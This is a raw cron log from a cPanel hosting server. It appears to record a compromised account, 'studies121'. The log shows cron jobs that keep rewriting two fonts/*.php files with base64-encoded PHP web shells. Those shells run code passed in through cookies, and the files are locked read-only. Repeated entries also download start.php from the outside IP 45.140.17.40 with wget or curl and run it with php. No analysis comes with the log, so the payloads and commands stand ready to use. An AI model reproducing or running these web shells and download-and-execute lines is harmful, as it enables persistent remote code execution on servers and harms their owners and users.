Sep 12 14:46:02 ip-184-168-122-23 CROND[10916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:47:01 ip-184-168-122-23 CROND[11088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:47:01 ip-184-168-122-23 CROND[11090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:47:01 ip-184-168-122-23 CROND[11089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:47:01 ip-184-168-122-23 CROND[11091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:48:01 ip-184-168-122-23 CROND[11193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:48:02 ip-184-168-122-23 CROND[11194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:48:02 ip-184-168-122-23 CROND[11196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:48:02 ip-184-168-122-23 CROND[11195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:48:02 ip-184-168-122-23 CROND[11198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:49:01 ip-184-168-122-23 CROND[11287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:49:01 ip-184-168-122-23 CROND[11289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:49:01 ip-184-168-122-23 CROND[11291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:49:01 ip-184-168-122-23 CROND[11292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:50:01 ip-184-168-122-23 CROND[11386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:50:01 ip-184-168-122-23 CROND[11388]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:50:01 ip-184-168-122-23 CROND[11390]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 14:50:01 ip-184-168-122-23 CROND[11392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:50:01 ip-184-168-122-23 CROND[11391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:50:01 ip-184-168-122-23 CROND[11393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:50:01 ip-184-168-122-23 CROND[11394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:50:01 ip-184-168-122-23 CROND[11395]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:50:01 ip-184-168-122-23 CROND[11389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:51:01 ip-184-168-122-23 CROND[11639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:51:01 ip-184-168-122-23 CROND[11642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:51:01 ip-184-168-122-23 CROND[11643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:51:01 ip-184-168-122-23 CROND[11641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:52:02 ip-184-168-122-23 CROND[11868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:52:02 ip-184-168-122-23 CROND[11867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:52:02 ip-184-168-122-23 CROND[11865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:52:02 ip-184-168-122-23 CROND[11869]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:52:02 ip-184-168-122-23 CROND[11866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:53:01 ip-184-168-122-23 CROND[12269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:53:01 ip-184-168-122-23 CROND[12270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:53:01 ip-184-168-122-23 CROND[12271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:53:01 ip-184-168-122-23 CROND[12272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:54:01 ip-184-168-122-23 CROND[12439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:54:01 ip-184-168-122-23 CROND[12441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:54:01 ip-184-168-122-23 CROND[12443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:54:01 ip-184-168-122-23 CROND[12440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:54:01 ip-184-168-122-23 CROND[12442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:55:02 ip-184-168-122-23 CROND[12650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:55:02 ip-184-168-122-23 CROND[12651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:55:02 ip-184-168-122-23 CROND[12652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:55:02 ip-184-168-122-23 CROND[12654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:55:02 ip-184-168-122-23 CROND[12653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:55:02 ip-184-168-122-23 CROND[12656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:56:01 ip-184-168-122-23 CROND[12909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:56:01 ip-184-168-122-23 CROND[12911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:56:01 ip-184-168-122-23 CROND[12913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:56:01 ip-184-168-122-23 CROND[12912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:56:01 ip-184-168-122-23 CROND[12914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:57:01 ip-184-168-122-23 CROND[13023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:57:01 ip-184-168-122-23 CROND[13024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:57:01 ip-184-168-122-23 CROND[13022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:57:01 ip-184-168-122-23 CROND[13025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:58:01 ip-184-168-122-23 CROND[13218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:58:01 ip-184-168-122-23 CROND[13220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:58:01 ip-184-168-122-23 CROND[13221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:58:01 ip-184-168-122-23 CROND[13222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:58:01 ip-184-168-122-23 CROND[13223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
